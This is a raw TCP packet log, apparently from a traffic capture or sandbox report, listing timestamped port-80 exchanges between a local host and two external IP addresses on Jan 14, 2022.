Jan 14, 2022 21:06:04.799546957 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799555063 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.799578905 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799612045 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799633026 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.799647093 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799676895 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799696922 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.799724102 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799756050 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799786091 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799812078 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.799819946 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799825907 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.799853086 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799885035 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799916983 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799945116 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.799947977 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.799957991 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.799990892 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.800024033 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.800057888 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.800064087 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.800090075 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.800111055 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.800122976 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.800156116 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.800187111 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.800188065 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.800220966 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.800252914 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.800278902 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.800285101 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.800302029 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.817584991 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.817620993 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.817656040 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.817687988 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.817719936 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.817728996 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.817753077 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.817770958 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.817776918 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.817786932 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.817821026 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.817841053 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.817871094 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.817903996 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.817936897 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.817955017 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.817970991 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.817986965 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.818002939 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818038940 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818072081 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818089008 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.818104982 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818113089 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.818140030 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818171024 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818198919 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.818202972 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818237066 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818269014 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818290949 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.818300962 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818312883 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.818335056 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818367958 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818388939 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.818402052 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818434000 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818466902 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818487883 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.818499088 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818528891 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.818531036 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818564892 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818597078 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818620920 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.818629026 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818641901 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.818662882 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818694115 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818713903 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.818725109 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818758011 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818788052 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818806887 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.818820000 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818841934 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.818851948 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818885088 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818917036 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818938971 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.818948030 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.818960905 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.818981886 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819015026 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819036961 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.819046021 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819081068 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819098949 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.819113970 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819147110 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819164991 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.819180012 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819210052 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819241047 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819261074 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.819272995 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819284916 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.819305897 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819336891 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819355011 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.819370031 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819401979 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819434881 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819454908 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.819466114 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819504976 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819523096 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.819539070 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819555998 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.819571018 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819602966 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819622040 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.819636106 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819665909 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819698095 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819714069 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.819730043 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819758892 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:04.819782019 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.819811106 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.820255995 CET	49905	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:04.837619066 CET	80	49905	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:05.773137093 CET	49906	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:05.790584087 CET	80	49906	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:05.793868065 CET	49906	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:05.794039011 CET	49906	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:05.794063091 CET	49906	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:05.811440945 CET	80	49906	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:05.917313099 CET	80	49906	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:05.917406082 CET	49906	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:05.917582035 CET	49906	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:05.934856892 CET	80	49906	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:06.014754057 CET	49907	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:06.032152891 CET	80	49907	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:06.032314062 CET	49907	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:06.032411098 CET	49907	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:06.032428026 CET	49907	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:06.049629927 CET	80	49907	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:06.150240898 CET	80	49907	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:06.150271893 CET	80	49907	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:06.150391102 CET	49907	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:06.150594950 CET	49907	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:06.168117046 CET	80	49907	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:06.205585957 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.264225006 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.264326096 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.264468908 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.359620094 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.371560097 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.371593952 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.371614933 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.371637106 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.371670961 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.371709108 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.438700914 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.438734055 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.438755989 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.438776016 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.438779116 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.438803911 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.438826084 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.438827991 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.438848972 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.438868999 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.438873053 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.438909054 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.495506048 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.495538950 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.495563984 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.495589018 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.495599985 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.495614052 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.495639086 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.495639086 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.495665073 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.495671988 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.495690107 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.495712996 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.495721102 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.495738029 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.495760918 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.495769024 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.495784044 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.495806932 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.495815039 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.495831013 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.495853901 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.495877028 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.495877028 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.495918989 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.552763939 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.552797079 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.552819014 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.552839041 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.552866936 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.552881002 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.552891970 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.552917004 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.552928925 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.552942038 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.552964926 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.552984953 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.552994013 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.553008080 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553030014 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553030968 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.553054094 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553075075 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553077936 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.553097010 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553118944 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.553121090 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553145885 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553164959 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553167105 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.553191900 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553211927 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.553215027 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553237915 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553260088 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553261995 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.553283930 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553308010 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553309917 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.553334951 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553348064 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.553365946 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553386927 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553395987 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.553411961 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553436995 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553445101 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.553459883 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553483009 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553504944 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.553508997 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.553536892 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.610126972 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610163927 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610191107 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610218048 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610241890 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610249043 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.610269070 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610279083 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.610297918 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610316992 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.610325098 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610352993 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610378981 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610379934 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.610405922 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610423088 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.610431910 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610457897 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610482931 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610487938 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.610508919 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610529900 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.610538006 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610563993 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610584974 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.610589981 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610616922 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610644102 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610644102 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.610668898 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610693932 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610698938 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.610719919 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610743999 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610758066 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.610769033 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610790968 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.610795021 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610820055 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610842943 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.610846996 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610872030 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610897064 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610901117 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.610923052 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610939026 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.610948086 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610972881 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.610987902 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.610997915 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.611022949 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.611042023 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.611052036 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.611088991 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.611094952 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.611116886 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.611144066 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.611159086 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.611167908 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.611195087 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.611208916 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.611218929 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.611244917 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.611263037 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.611269951 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.611294985 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.611310959 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.611319065 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.611345053 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.611360073 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.611367941 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.611406088 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.668164015 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.668282986 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.668342113 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.668369055 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.668404102 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.668453932 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.668467045 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.668528080 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.668576002 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.668590069 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.668649912 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.668709993 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.668725967 CET	49908	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:06:06.668771982 CET	80	49908	81.163.30.181	192.168.2.5
Jan 14, 2022 21:06:06.668823004 CET	49908	80	192.168.2.5	81.163.30.181
